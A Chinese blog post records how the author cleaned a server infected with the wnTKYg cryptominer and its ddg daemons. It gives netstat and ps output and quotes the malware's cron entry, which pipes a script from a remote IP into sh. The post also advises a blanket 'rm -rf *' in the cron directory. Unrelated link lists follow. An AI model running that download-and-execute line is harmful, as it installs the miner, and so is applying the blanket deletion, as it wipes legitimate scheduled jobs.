起因,阿里云多次提醒我的一台服务器有恶意发包行为,且给出了一些解决办法。之前也没太在意,就按照解决办法处理了一下。然后过一段时间,还是提示有此行为。

猜肯定是中了木马了,开始以为是被肉鸡了拿来做DDoS攻击别人了。今天去服务器上仔细看了一下。然后发现了问题究竟(目前猜应该如此,还等待观察)。

现将过程记录如下:

1、先查看一下端口情况,发现有些名为ddg.xxxx的进程很可疑。然后看了下远程的链接IP,美国、法国等地方,很奇怪。网上搜了一下,没什么结果。

[root@zhangtianguo ~]# netstat -anp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22111 0.0.0.0:* LISTEN 840/sshd
tcp 0 0 127.0.0.1:32000 0.0.0.0:* LISTEN 27121/java
tcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN 20918/memcached
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 813/nginx: worker p
tcp 0 0 0.0.0.0:81 0.0.0.0:* LISTEN 1497/httpd
tcp 0 0 0.0.0.0:82 0.0.0.0:* LISTEN 1497/httpd
tcp 0 0 0.0.0.0:83 0.0.0.0:* LISTEN 1497/httpd
tcp 0 0 0.0.0.0:85 0.0.0.0:* LISTEN 1497/httpd
tcp 401 0 我的IP:42388 106.11.68.13:80 CLOSE_WAIT 11393/AliYunDunUpda
tcp 0 1 我的IP:43968 52.2.199.2:8443 SYN_SENT 1620/ddg.1010
tcp 0 1 我的IP:38258 54.222.159.38:8443 SYN_SENT 1620/ddg.1010
tcp 401 0 我的IP:41811 106.11.68.13:80 CLOSE_WAIT 11393/AliYunDunUpda
tcp 401 0 我的IP:53489 140.205.140.205:80 CLOSE_WAIT 11393/AliYunDunUpda
tcp 0 0 我的IP:59795 202.181.169.98:8443 ESTABLISHED 25125/ddg.2011
tcp 0 0 我的IP:50071 212.83.189.246:443 ESTABLISHED 12908/wnTKYg
tcp 0 1 我的IP:47592 106.75.74.11:9443 SYN_SENT 12799/ddg.1009
tcp 371 0 10.174.208.36:51087 100.100.25.3:80 CLOSE_WAIT 11393/AliYunDunUpda
tcp 0 0 我的IP:40019 106.11.68.13:80 ESTABLISHED 11448/AliYunDun
tcp 0 0 127.0.0.1:32000 127.0.0.1:31001 ESTABLISHED 27119/wrapper
tcp 0 1 我的IP:39511 39.108.56.56:8443 SYN_SENT 1620/ddg.1010
tcp 0 1 我的IP:50528 121.69.45.254:8443 SYN_SENT 1620/ddg.1010
tcp 0 1 我的IP:51132 106.75.71.242:8443 SYN_SENT 1620/ddg.1010
tcp 0 1 我的IP:60425 120.77.46.195:8443 SYN_SENT 1620/ddg.1010
tcp 0 1 我的IP:54458 116.39.7.114:8443 SYN_SENT 1620/ddg.1010
tcp 0 1 我的IP:57546 54.183.178.110:8443 SYN_SENT 1620/ddg.1010
tcp 0 1 我的IP:57686 106.75.134.239:8443 SYN_SENT 1620/ddg.1010
tcp 0 1 我的IP:56848 61.65.191.22:8443 SYN_SENT 1620/ddg.1010
tcp 401 0 我的IP:52910 106.11.68.13:80 CLOSE_WAIT 11393/AliYunDunUpda
tcp 0 604 我的IP:22111 27.10.185.19:63158 ESTABLISHED 19368/sshd: root@pt
tcp 0 1 我的IP:56357 165.225.157.157:8443 SYN_SENT 1620/ddg.1010

2、然后,看了下这个进程的具体情况,居然是在/tmp/下的进程,心中更多抑或:

[root@zhangtianguo ~]# ps aux | grep ddg
root 1620 0.1 0.7 209684 13688 ? Sl Jul12 78:05 /tmp/ddg.1010
root 12799 0.0 0.2 262816 5460 ? Sl Jul01 9:32 /tmp/ddg.1009
root 19576 0.0 0.0 112644 960 pts/1 S+ 10:01 0:00 grep --color=auto ddg
root 25125 0.0 0.2 207236 5172 ? Sl Aug27 2:13 /tmp/ddg.2011
root 28248 0.0 0.2 207192 4520 ? Sl Jul27 38:09 /tmp/ddg.1021

3、再去看看/tmp/下的文件,只有一个ddg.2011的文件,当时就心想,肯定是这些进程运行后,又自动删除了文件,看时间,8月创建的时间的文件,全部统统rm掉:

[root@zhangtianguo tmp]# ll -ah
total 9.6M
drwxrwxrwt. 9 root root 4.0K Aug 29 10:02 .
drwxr-xr-x. 20 root root 4.0K Jun 30 18:04 ..
srwxr-xr-x 1 root root 0 Aug 28 12:53 Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)>
-rwxr-xr-x 1 root root 9.5M Aug 11 10:13 ddg.2011
drwxrwxrwt. 2 root root 4.0K Nov 21 2014 .font-unix
drwxr-xr-x 2 root root 4.0K Aug 17 10:07 hsperfdata_root
drwxrwxrwt. 2 root root 4.0K Nov 21 2014 .ICE-unix
drwx------ 3 root root 4.0K Nov 26 2015 systemd-private-nwO9vi
drwxrwxrwt. 2 root root 4.0K Nov 21 2014 .Test-unix
drwxrwxrwt. 2 root root 4.0K Nov 21 2014 .X11-unix
drwxrwxrwt. 2 root root 4.0K Nov 21 2014 .XIM-unix

4、再重复步骤1,查看端口情况,又发现了这个玩意儿,感觉不太正常(直觉):

tcp        0      0 我的IP:50071    212.83.189.246:443      ESTABLISHED 12908/wnTKYg   

5、一搜,原来居然是个挖矿的程序貌似。原来已经有不少人中招过了。解决办法也有很多人给出了,基本上就是:

先给redis的问题处理掉,改端口、加密码之类;

查看/root/.ssh/下的文件,是否有异常登陆信息,有的话删掉;

搜索wnTKYg的相关文件( find / -name *wnTKYg*),删掉;

删掉/tmp/下的异常文件(主要是ddg.xxxx之类的);

kill掉wnTKYg以及ddg.xxxx的进程;

还有个问题,这个程序有个自动任务,从木马服务器下载程序执行,也要删掉:

cd /var/spool/cron
ll -ah
rm -rf *

我查看这个目录时,发现里面的自动任务是这样的,好像是印度一个IP:

[root@zhangtianguo cron]# cat root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh

至此,完工。然后继续观察。

参考资料。感谢:

http://blog.csdn.net/u010789532/article/details/70528648

http://blog.csdn.net/zimou5581/article/details/73064878

记录清除wnTKYg挖矿工木马(守护进程ddg.xxxx)的过程的更多相关文章

  1. 清除wnTKYg 这个挖矿工木马的过程讲述

    由于工作需要,我由一个专业java开发工程师,渐渐的也成为了不专业的资深的运维工程师了.感慨一番,书归正传,下面就讲解wnTKYg如何清除.最近项目在做性能测试,发现CPU使用率异常,无人访问时CPU ...

  2. 彻底清除Linux centos minerd木马

    前几天,公司两台linux服务器,一台访问速度很慢,cpu跑满,一台免密码登录失效,公钥文件被改写成redis的key.用htop命令查询发现了minerd木马进程,初步猜测是redis没有配访问权限 ...

  3. Unix环境高级编程(十三)守护进程

    守护进程也称为精灵进程是一种生存期较长的一种进程.它们独立于控制终端并且周期性的执行某种任务或等待处理某些发生的事件.他们常常在系统引导装入时启动,在系统关闭时终止.unix系统有很多守护进程,大多数 ...

  4. Linux网络编程学习(四) -----守护进程的建立(第三章)

    本文介绍一个例程daemon_init() #include <sys/types.h> #include <signal.h> #include <unistd.h&g ...

  5. Linux多任务编程之七:Linux守护进程及其基础实验(转)

    来源:CSDN  作者:王文松  转自Linux公社 ------------------------------------------------------------------------- ...

  6. Unix环境高级编程——守护进程记录总结(从基础到实现)

    一.概念及其特征 守护进程是系统中生存期较长的一种进程,常常在系统引导装入时启动,在系统关闭时终止,没有控制终端,在后台运行.守护进程脱离于终端是为了避免进程在执行过程中的信息在任何终端上显示并且进程 ...

  7. 笔记整理--Linux守护进程

    Linux多进程开发(三)进程创建之守护进程的学习 - _Liang_Happy_Life__Dream - 51CTO技术博客 - Google Chrome (2013/10/11 16:48:2 ...

  8. 编写Linux/Unix守护进程

    原文: http://www.cnblogs.com/haimingwey/archive/2012/04/25/2470190.html 守护进程在Linux/Unix系统中有着广泛的应用.有时,开 ...

  9. Linux 下Qt实现守护进程实例(转)

     原文地址:Linux守护进程的编程方法(含实例) 作者:lingdxuyan 参考文献 Linux信号列表(zz) Linux 守护进程的编程方法 linux上编写守护进程的例程 Linux下后台守 ...

随机推荐

  1. netty源码解解析(4.0)-3 Channel的抽象实现

    AbstractChannel和AbstractUnsafe抽象类 io.netty.channel.AbstractChannel 从本章开始,会有大量的篇幅涉及到代码分析.为了能够清晰简洁的地说明 ...

  2. Python 的几种推导式

    推导式 comprehensions(又称解析式):是 Python 中很强大的.很受欢迎的特性,具有语言简洁,速度快等优点.推导式包括: 1. 列表推导式 2. 字典推导式 3. 集合推导式 对以上 ...

  3. XML 和 JSON

    1. XML介绍 必须要有节点:根节点必须且只有一个,用户节点可以自定义. 2. JSON介绍: 3.生成json方法 json_encode() 4.xml生成字符串方法有几种 拼装字符串,或者ph ...

  4. 初学CSS-3-文字的属性

    文字样式属性: 格式:font-style:italic;/normal; 快捷键:fsi / fsn + tab键 文字粗细属性: 格式:font-weight:bold;/bolder;/ligh ...

  5. canvas-0trasform.html

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  6. 为什么 C# 比 C++ 编译快那么多

    Go 我不懂,下面以 C++ 和 C# 对比来说明为什么 C++ 编译慢和 C# 编译快. C 和 C++ 文件的编译经过几个主要步骤: 处理续行符处理(“\”)之类的杂事 词法分析,解析出 toke ...

  7. loadrunner 运行场景-运行时设置

    运行场景-运行时设置 by:授客 QQ:1033553122 A.   查看.修改单个脚本的运行时设置 a)   途径1: Scenario Groups.Scenario Groups Script ...

  8. 查看python版本

    1.未进入python shell python --version 2.进入python shell,有两种方法 (1) help() (2) import sys sys.version

  9. datagridview 行高列宽的自动设置

    1) 设定行高和列宽自动调整 [C#]// 设定包括Header和所有单元格的列宽自动调整 DataGridView1.AutoSizeColumnsMode = DataGridViewAutoSi ...

  10. c#所有部门及其下所部门生成树形图(递归算法获取或键值对方式获取)

    部门数据库的设计: 代码: /// <summary> /// 获取部门(入口) /// </summary> /// <returns></returns& ...